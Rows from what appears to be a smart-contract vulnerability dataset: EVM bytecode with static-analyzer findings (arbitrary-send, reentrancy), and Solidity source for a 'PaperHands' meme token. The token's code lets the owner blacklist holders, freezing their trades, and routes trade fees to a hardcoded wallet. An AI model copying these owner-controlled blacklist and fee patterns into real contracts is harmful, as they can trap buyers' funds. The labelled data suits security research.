00160b81b17905542600d8190556109309061012c611b45565b600e55565b6000546001600160a01b0316331461095f5760405162461bcd60e51b81526004016104c590611acb565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109aa5760405162461bcd60e51b81526004016104c590611acb565b600c54600160a01b900460ff1615610a125760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8d9190611b5d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afe9190611b5d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611b5d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c055760405162461bcd60e51b81526004016104c590611acb565b600f811115610c1357600080fd5b600855565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016104c590611acb565b6001600160a01b038116610ca75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e48161140e565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf857610cf8611b00565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611b5d565b81600181518110610d8857610d88611b00565b6001600160a01b039283166020918202929092010152600b54610dae9130911684610e2a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de7908590600090869030904290600401611b7a565b600060405180830381600087803b158015610e0157600080fd5b505af1158015610e15573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610eed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b0382166110145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff161561111e5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c5565b6001600160a01b03831660009081526004602052604081205460ff1615801561116057506001600160a01b03831660009081526004602052604090205460ff16155b80156111765750600c54600160a81b900460ff16155b80156111a65750600c546001600160a01b03858116911614806111a65750600c546001600160a01b038481169116145b1561133e57600c54600160b81b900460ff166111c157600080fd5b50600c546001906001600160a01b0385811691161480156111f05750600b546001600160a01b03848116911614155b80156111fd575042600e54115b1561124457600061120d84610685565b905061122d6064611227678ac7230489e80000600261145e565b906114e0565b6112378483611522565b111561124257600080fd5b505b600d544203611271576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061127c30610685565b600c54909150600160b01b900460ff161580156112a75750600c546001600160a01b03868116911614155b1561133c57801561133c57600c546112db9060649061122790600f906112d5906001600160a01b0316610685565b9061145e565b81111561130857600c546113059060649061122790600f906112d5906001600160a01b0316610685565b90505b600061131a600d61122784600361145e565b90506113268183611beb565b915061133181611581565b61133a82610cb0565b505b505b61134a848484846115b1565b50505050565b600081848411156113745760405162461bcd60e51b81526004016104c5919061189a565b5060006113818486611beb565b95945050505050565b60006006548211156113f15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b60006113fb6116b4565b905061140783826114e0565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082600003611470575060006104f8565b600061147c8385611c02565b9050826114898583611c21565b146114075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b600061140783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d7565b60008061152f8385611b45565b9050838110156114075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b600c805460ff60b01b1916600160b01b1790556115a13061dead83610f4e565b50600c805460ff60b01b19169055565b80806115bf576115bf611705565b6000806000806115ce87611721565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115fb9085611768565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461162a9084611522565b6001600160a01b03891660009081526001602052604090205561164c816117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169191815260200190565b60405180910390a350505050806116ad576116ad600954600855565b5050505050565b60008060006116c16117f4565b90925090506116d082826114e0565b9250505090565b600081836116f85760405162461bcd60e51b81526004016104c5919061189a565b5060006113818486611c21565b60006008541161171457600080fd5b6008805460095560009055565b60008060008060008061173687600854611834565b9150915060006117446116b4565b90506000806117548a8585611861565b909b909a5094985092965092945050505050565b600061140783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611350565b60006117b46116b4565b905060006117c2838361145e565b306000908152600160205260409020549091506117df9082611522565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061180f82826114e0565b82101561182b57505060065492678ac7230489e8000092509050565b90939092509050565b600080806118476064611227878761145e565b905060006118558683611768565b96919550909350505050565b6000808061186f868561145e565b9050600061187d868661145e565b9050600061188b8383611768565b92989297509195505050505050565b600060208083528351808285015260005b818110156118c7578581018301518582016040015282016118ab565b818111156118d9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b803561190f816118ef565b919050565b6000806040838503121561192757600080fd5b8235611932816118ef565b946020939093013593505050565b60008060006060848603121561195557600080fd5b8335611960816118ef565b92506020840135611970816118ef565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119aa57600080fd5b823567ffffffffffffffff808211156119c257600080fd5b818501915085601f8301126119d657600080fd5b8135818111156119e8576119e8611981565b8060051b604051601f19603f83011681018181108582111715611a0d57611a0d611981565b604052918252848201925083810185019188831115611a2b57600080fd5b938501935b82851015611a5057611a4185611904565b84529385019392850192611a30565b98975050505050505050565b600060208284031215611a6e57600080fd5b8135611407816118ef565b60008060408385031215611a8c57600080fd5b8235611a97816118ef565b91506020830135611aa7816118ef565b809150509250929050565b600060208284031215611ac457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b3e57611b3e611b16565b5060010190565b60008219821115611b5857611b58611b16565b500190565b600060208284031215611b6f57600080fd5b8151611407816118ef565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bca5784516001600160a01b031683529383019391830191600101611ba5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bfd57611bfd611b16565b500390565b6000816000190483118215151615611c1c57611c1c611b16565b500290565b600082611c3e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff40d2b49396f632902be28ae0cf2cf6f7d5f324c1453f9f2418e6b0933e54f464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,527 |
0x2502ec188dc7b2c262031a91e8360a2616db4404 | /**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
/*
_____ _ _ _
| __ \ | | | | | |
| |__) |_ _ _ __ ___ _ __| |__| | __ _ _ __ __| |___
| ___/ _` | '_ \ / _ \ '__| __ |/ _` | '_ \ / _` / __|
| | | (_| | |_) | __/ | | | | | (_| | | | | (_| \__ \
|_| \__,_| .__/ \___|_| |_| |_|\__,_|_| |_|\__,_|___/
| |
|_|
Telegram: https://t.me/PaperHandsETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PaperHands is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "PaperHands";
string private constant _symbol = "PAPERHANDS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x5Ba769eB1019aeb96b752B3B8De1297D1209ca6b);
_feeAddrWallet2 = payable(0x5Ba769eB1019aeb96b752B3B8De1297D1209ca6b);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cf578063b515566a146102ef578063c3c8cd801461030f578063c9567bf914610324578063dd62ed3e1461033957600080fd5b806370a082311461023f578063715018a61461025f5780638da5cb5b1461027457806395d89b411461029c57600080fd5b8063273123b7116100d1578063273123b7146101cc578063313ce567146101ee5780635932ead11461020a5780636fc3eaec1461022a57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101ac57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a815269506170657248616e647360b01b60208201525b60405161014a9190611550565b60405180910390f35b34801561015f57600080fd5b5061017361016e3660046115ca565b61037f565b604051901515815260200161014a565b34801561018f57600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014a565b3480156101b857600080fd5b506101736101c73660046115f6565b610396565b3480156101d857600080fd5b506101ec6101e7366004611637565b6103ff565b005b3480156101fa57600080fd5b506040516009815260200161014a565b34801561021657600080fd5b506101ec610225366004611662565b610453565b34801561023657600080fd5b506101ec61049b565b34801561024b57600080fd5b5061019e61025a366004611637565b6104c8565b34801561026b57600080fd5b506101ec6104ea565b34801561028057600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a857600080fd5b5060408051808201909152600a815269504150455248414e445360b01b602082015261013d565b3480156102db57600080fd5b506101736102ea3660046115ca565b61055e565b3480156102fb57600080fd5b506101ec61030a366004611695565b61056b565b34801561031b57600080fd5b506101ec610601565b34801561033057600080fd5b506101ec610637565b34801561034557600080fd5b5061019e61035436600461175a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061038c3384846109b5565b5060015b92915050565b60006103a3848484610ad9565b6103f584336103f085604051806060016040528060288152602001611959602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e26565b6109b5565b5060019392505050565b6000546001600160a01b031633146104325760405162461bcd60e51b815260040161042990611793565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461047d5760405162461bcd60e51b815260040161042990611793565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104bb57600080fd5b476104c581610e60565b50565b6001600160a01b03811660009081526002602052604081205461039090610ee5565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161042990611793565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061038c338484610ad9565b6000546001600160a01b031633146105955760405162461bcd60e51b815260040161042990611793565b60005b81518110156105fd576001600660008484815181106105b9576105b96117c8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f5816117f4565b915050610598565b5050565b600c546001600160a01b0316336001600160a01b03161461062157600080fd5b600061062c306104c8565b90506104c581610f69565b6000546001600160a01b031633146106615760405162461bcd60e51b815260040161042990611793565b600f54600160a01b900460ff16156106bb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610429565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fb30826b033b2e3c9fd0803ce80000006109b5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d919061180f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ce919061180f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561081b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083f919061180f565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061086f816104c8565b6000806108846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610911919061182c565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610991573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd919061185a565b6001600160a01b038316610a175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610429565b6001600160a01b038216610a785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610429565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610429565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610429565b60008111610c015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610429565b6002600a556008600b556000546001600160a01b03848116911614801590610c3757506000546001600160a01b03838116911614155b15610e16576001600160a01b03831660009081526006602052604090205460ff16158015610c7e57506001600160a01b03821660009081526006602052604090205460ff16155b610c8757600080fd5b600f546001600160a01b038481169116148015610cb25750600e546001600160a01b03838116911614155b8015610cd757506001600160a01b03821660009081526005602052604090205460ff16155b8015610cec5750600f54600160b81b900460ff165b15610d4957601054811115610d0057600080fd5b6001600160a01b0382166000908152600760205260409020544211610d2457600080fd5b610d2f42601e611877565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d745750600e546001600160a01b03848116911614155b8015610d9957506001600160a01b03831660009081526005602052604090205460ff16155b15610da9576002600a908155600b555b6000610db4306104c8565b600f54909150600160a81b900460ff16158015610ddf5750600f546001600160a01b03858116911614155b8015610df45750600f54600160b01b900460ff165b15610e1457610e0281610f69565b478015610e1257610e1247610e60565b505b505b610e218383836110e3565b505050565b60008184841115610e4a5760405162461bcd60e51b81526004016104299190611550565b506000610e57848661188f565b95945050505050565b600c546001600160a01b03166108fc610e7a8360026110ee565b6040518115909202916000818181858888f19350505050158015610ea2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ebd8360026110ee565b6040518115909202916000818181858888f193505050501580156105fd573d6000803e3d6000fd5b6000600854821115610f4c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610429565b6000610f56611130565b9050610f6283826110ee565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fb157610fb16117c8565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102e919061180f565b81600181518110611041576110416117c8565b6001600160a01b039283166020918202929092010152600e5461106791309116846109b5565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a09085906000908690309042906004016118a6565b600060405180830381600087803b1580156110ba57600080fd5b505af11580156110ce573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e21838383611153565b6000610f6283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124a565b600080600061113d611278565b909250905061114c82826110ee565b9250505090565b600080600080600080611165876112c0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611197908761131d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111c6908661135f565b6001600160a01b0389166000908152600260205260409020556111e8816113be565b6111f28483611408565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123791815260200190565b60405180910390a3505050505050505050565b6000818361126b5760405162461bcd60e51b81526004016104299190611550565b506000610e578486611917565b60085460009081906b033b2e3c9fd0803ce800000061129782826110ee565b8210156112b7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112dd8a600a54600b5461142c565b92509250925060006112ed611130565b905060008060006113008e878787611481565b919e509c509a509598509396509194505050505091939550919395565b6000610f6283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e26565b60008061136c8385611877565b905083811015610f625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610429565b60006113c8611130565b905060006113d683836114d1565b306000908152600260205260409020549091506113f3908261135f565b30600090815260026020526040902055505050565b600854611415908361131d565b600855600954611425908261135f565b6009555050565b6000808080611446606461144089896114d1565b906110ee565b9050600061145960646114408a896114d1565b905060006114718261146b8b8661131d565b9061131d565b9992985090965090945050505050565b600080808061149088866114d1565b9050600061149e88876114d1565b905060006114ac88886114d1565b905060006114be8261146b868661131d565b939b939a50919850919650505050505050565b6000826114e057506000610390565b60006114ec8385611939565b9050826114f98583611917565b14610f625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610429565b600060208083528351808285015260005b8181101561157d57858101830151858201604001528201611561565b8181111561158f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c557600080fd5b80356115c5816115a5565b919050565b600080604083850312156115dd57600080fd5b82356115e8816115a5565b946020939093013593505050565b60008060006060848603121561160b57600080fd5b8335611616816115a5565b92506020840135611626816115a5565b929592945050506040919091013590565b60006020828403121561164957600080fd5b8135610f62816115a5565b80151581146104c557600080fd5b60006020828403121561167457600080fd5b8135610f6281611654565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116a857600080fd5b823567ffffffffffffffff808211156116c057600080fd5b818501915085601f